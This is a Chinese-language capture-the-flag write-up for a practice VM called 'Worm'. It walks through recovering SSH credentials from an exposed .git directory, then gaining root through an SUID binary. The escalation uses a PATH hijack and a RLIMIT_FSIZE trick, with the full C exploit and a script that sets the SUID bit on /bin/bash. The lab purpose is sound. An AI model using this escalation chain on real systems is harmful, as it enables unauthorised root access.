信息收集
bash
┌──(root㉿kali)-[~]└─# arp-scan -l | grep PCS192.168.31.161 08:00:27:22:4e:e3 PCS Systemtechnik GmbH ┌──(root㉿kali)-[~]└─# IP=192.168.31.161 bash
┌──(root㉿kali)-[~]└─# nmap -sV -sC -A $IP -PnStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:36 ESTNmap scan report for Worm (192.168.31.161)Host is up (0.0012s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)| ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)80/tcp open http Apache httpd 2.4.62 ((Debian))| http-git: | 192.168.31.161:80/.git/| Git repository found!| Repository description: Unnamed repository; edit this file 'description' to name the...|_ Last commit message: 4 |_http-title: Site doesn't have a title (text/html).|_http-server-header: Apache/2.4.62 (Debian)MAC Address: 08:00:27:22:4E:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Device type: general purpose|routerRunning: Linux 4.X|5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTEHOP RTT ADDRESS1 1.24 ms Worm (192.168.31.161) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds.git 泄露
cmd
python git_dumper.py http://192.168.31.161/.git/ ./worm[-] Testing http://192.168.31.161/.git/HEAD [200][-] Testing http://192.168.31.161/.git/ [200][-] Fetching .git recursively[-] Fetching http://192.168.31.161/.git/ [200][-] Fetching http://192.168.31.161/.gitignore [404][-] http://192.168.31.161/.gitignore responded with status code 404[-] Fetching http://192.168.31.161/.git/config [200][-] Fetching http://192.168.31.161/.git/hooks/ [200][-] Fetching http://192.168.31.161/.git/index [200][-] Fetching http://192.168.31.161/.git/HEAD [200][-] Fetching http://192.168.31.161/.git/info/ [200][-] Fetching http://192.168.31.161/.git/branches/ [200][-] Fetching http://192.168.31.161/.git/description [200][-] Fetching http://192.168.31.161/.git/COMMIT_EDITMSG [200][-] Fetching http://192.168.31.161/.git/logs/ [200][-] Fetching http://192.168.31.161/.git/objects/ [200][-] Fetching http://192.168.31.161/.git/refs/ [200][-] Fetching http://192.168.31.161/.git/hooks/fsmonitor-watchman.sample [200][-] Fetching http://192.168.31.161/.git/hooks/post-update.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-merge-commit.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-commit.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-push.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-receive.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-applypatch.sample [200][-] Fetching http://192.168.31.161/.git/hooks/prepare-commit-msg.sample [200][-] Fetching http://192.168.31.161/.git/hooks/commit-msg.sample [200][-] Fetching http://192.168.31.161/.git/hooks/push-to-checkout.sample [200][-] Fetching http://192.168.31.161/.git/hooks/update.sample [200][-] Fetching http://192.168.31.161/.git/info/exclude [200][-] Fetching http://192.168.31.161/.git/logs/HEAD [200][-] Fetching http://192.168.31.161/.git/logs/refs/ [200][-] Fetching http://192.168.31.161/.git/refs/heads/ [200][-] Fetching http://192.168.31.161/.git/refs/tags/ [200][-] Fetching http://192.168.31.161/.git/hooks/applypatch-msg.sample [200][-] Fetching http://192.168.31.161/.git/objects/03/ [200][-] Fetching http://192.168.31.161/.git/objects/8b/ [200][-] Fetching http://192.168.31.161/.git/objects/1e/ [200][-] Fetching http://192.168.31.161/.git/objects/52/ [200][-] Fetching http://192.168.31.161/.git/objects/b2/ [200][-] Fetching http://192.168.31.161/.git/objects/c6/ [200][-] Fetching http://192.168.31.161/.git/objects/ce/ [200][-] Fetching http://192.168.31.161/.git/objects/info/ [200][-] Fetching http://192.168.31.161/.git/objects/e9/ [200][-] Fetching http://192.168.31.161/.git/objects/pack/ [200][-] Fetching http://192.168.31.161/.git/logs/refs/heads/ [200][-] Fetching http://192.168.31.161/.git/refs/heads/master [200][-] Fetching http://192.168.31.161/.git/objects/8b/25a83d02aa6707f75d8fa7721ae4a999010ded [200][-] Fetching http://192.168.31.161/.git/objects/1e/0f35c5f74fa99bfff05187488e76bc6c072db6 [200][-] Fetching http://192.168.31.161/.git/objects/03/5a8ed549d7759749e3795e6234b0850133cd9e [200][-] Fetching http://192.168.31.161/.git/objects/03/b069b6beb2eec425651cfc69602d3dc45c49c7 [200][-] Fetching http://192.168.31.161/.git/objects/52/8240ae24a5db58dc12a128a8a0a3de50572174 [200][-] Fetching http://192.168.31.161/.git/objects/ce/0df0104ba2e23e9a749aab4622b342104934de [200][-] Fetching http://192.168.31.161/.git/objects/b2/0ebc0e54047f39e739f50e21837b154cd4c6b9 [200][-] Fetching http://192.168.31.161/.git/objects/c6/2011ddce452510565029bc4d4a412c2650dce6 [200][-] Fetching http://192.168.31.161/.git/objects/c6/2888da183b18a51c52bbfdad3d448fe2da2a86 [200][-] Fetching http://192.168.31.161/.git/objects/e9/a18ec87eb40be80165cb27cce8bd0b7ba88f0b [200][-] Fetching http://192.168.31.161/.git/logs/refs/heads/master [200][-] Fetching http://192.168.31.161/.git/hooks/pre-rebase.sample [200][-] Sanitizing .git/config[-] Running git checkout .Updated 2 paths from the index在第二次 git 提交的 creds.txt 找到:
text
junemTdwC2mn94UlBr31y56tssh 连接
bash
┌──(root㉿kali)-[~]└─# ssh june@$IPjune@192.168.31.161's password: mTdwC2mn94UlBr31y56tLinux Worm 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Wed Jan 21 04:07:47 2026 from 192.168.31.58june@Worm:~$ iduid=1000(june) gid=1000(june) groups=1000(june)june@Worm:~$ cat user.txtflag{user-e1c65e4d4ef5f4834934b51fa7aa7d71}提权
检查 SUID
bash
june@Worm:~$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chsh/usr/bin/chfn/usr/bin/newgrp/usr/bin/gpasswd/usr/bin/mount/usr/bin/su/usr/bin/umount/usr/bin/pkexec/usr/bin/sudo/usr/bin/passwd/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/libexec/polkit-agent-helper-1/opt/write/opt/write 可疑
bash
june@Worm:~$ ls -la /opt/total 28drwxr-xr-x 2 root root 4096 Jan 21 04:39 .drwxr-xr-x 18 root root 4096 Mar 18 2025 ..-rwsr-sr-x 1 root root 17104 Jan 20 09:47 write拿出来逆向分析
无壳,C 写的,估计是个 pwn 题,先看看 main 函数
c
int __fastcall main(int argc, const char **argv, const char **envp){ size_t n; // rax int fd; // [rsp+24h] [rbp-Ch] char *s; // [rsp+28h] [rbp-8h] if ( argc != 2 ) { fprintf(stderr, "Usage: %s \"message to write\"\n", *argv); exit(1); } s = (char *)argv[1]; if ( setuid(0) < 0 ) { perror("setuid(0) failed"); exit(1); } fd = open("/opt/welcome.txt", 577, 420); if ( fd < 0 ) { perror("Failed to open /opt/welcome.txt"); if ( setuid(0) < 0 ) { perror("setuid(0) failed before calling warning"); exit(1); } system("warning"); exit(1); } n = strlen(s); if ( write(fd, s, n) < 0 ) { perror("Failed to write to file"); close(fd); if ( setuid(0) < 0 ) { perror("setuid(0) failed before calling warning"); exit(1); } system("warning"); exit(1); } close(fd); puts("Message successfully written to /opt/welcome.txt"); return 0;}程序存在两个关键问题,组合后可导致提权:
c
size_t n = strlen(argv[1]);if (write(fd, argv[1], n) < 0) { system("warning"); exit(1);}-
不安全的
system()调用:
在错误处理分支中,程序调用了system("warning")。由于使用了相对路径(没有/),system函数会在环境变量PATH指定的目录中查找名为warning的可执行文件,因此可以通过修改PATH环境变量来劫持执行流。 -
错误处理逻辑可达性:
漏洞代码位于if (write(...) < 0)分支中。正常情况下 root 权限的进程写入/opt/welcome.txt几乎总是成功的。我们需要在不破坏程序启动的前提下让write函数失败。
可以利用 Linux 的资源限制机制进入漏洞分支,Linux 允许通过 setrlimit 系统调用限制进程可以使用的资源。其中 RLIMIT_FSIZE 用于限制进程可以创建的最大文件大小(以字节为单位)。
攻击策略如下:
- 设置文件大小限制为 0:在父进程中将
RLIMIT_FSIZE设置为 0。 - 忽略 SIGXFSZ 信号:默认情况下,当进程试图写入超过限制的数据时,内核会发送
SIGXFSZ信号杀死进程。我们需要忽略该信号,迫使write函数返回-1(错误码EFBIG) 而不是导致程序崩溃。 - 劫持 PATH:将当前目录
.添加到环境变量PATH的最前面。 - 执行目标程序:通过
execve调用/opt/write。子进程会继承父进程的资源限制和信号处理设置。
先准备一个名为 warning 的恶意脚本,当漏洞触发时它将被 root 执行,我们的目标是给 /bin/bash 添加 SUID 权限,以便后续随时获取 root shell
bash
cd /tmpecho '#!/bin/bash' > warningecho 'chmod u+s /bin/bash' >> warningchmod +x warning用 C 编写 exp 实现“设置资源限制 -> 设置环境变量 -> 执行目标”的逻辑
c
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <signal.h>#include <sys/resource.h> int main() { // 1. 忽略 SIGXFSZ 信号 // 如果不忽略,write 超过大小时程序会被系统直接 Kill,无法执行后续 system() signal(SIGXFSZ, SIG_IGN); // 2. 将最大文件大小限制 (RLIMIT_FSIZE) 设置为 0 struct rlimit lim; lim.rlim_cur = 0; lim.rlim_max = 0; if (setrlimit(RLIMIT_FSIZE, &lim) != 0) { perror("setrlimit failed"); exit(1); } // 3. 构建环境变量,劫持 PATH 指向当前目录 (.) char *envp[] = {"PATH=.:/usr/bin:/bin", NULL}; // 4. 目标程序参数 char *argv[] = {"/opt/write", "pwn", NULL}; printf("[*] Launching attack: RLIMIT_FSIZE=0, PATH=.\n"); // 5. 执行 SUID 目标程序 execve("/opt/write", argv, envp); // 如果 execve 返回,说明出错了 perror("execve failed"); return 1;}编译并运行
bash
gcc exp.c -o exp./exp检查 /bin/bash 是否成功被修改:
bash
june@Worm:/tmp$ ls -la /bin/bash-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash使用 -p 参数启动 shell 维持 root 权限:
bash
june@Worm:/tmp$ /bin/bash -pbash-5.0# iduid=1000(june) gid=1000(june) euid=0(root) groups=1000(june)bash-5.0# cat /root/root.txtflag{root-415fd5c8fdc9e94be02839e3afd69720}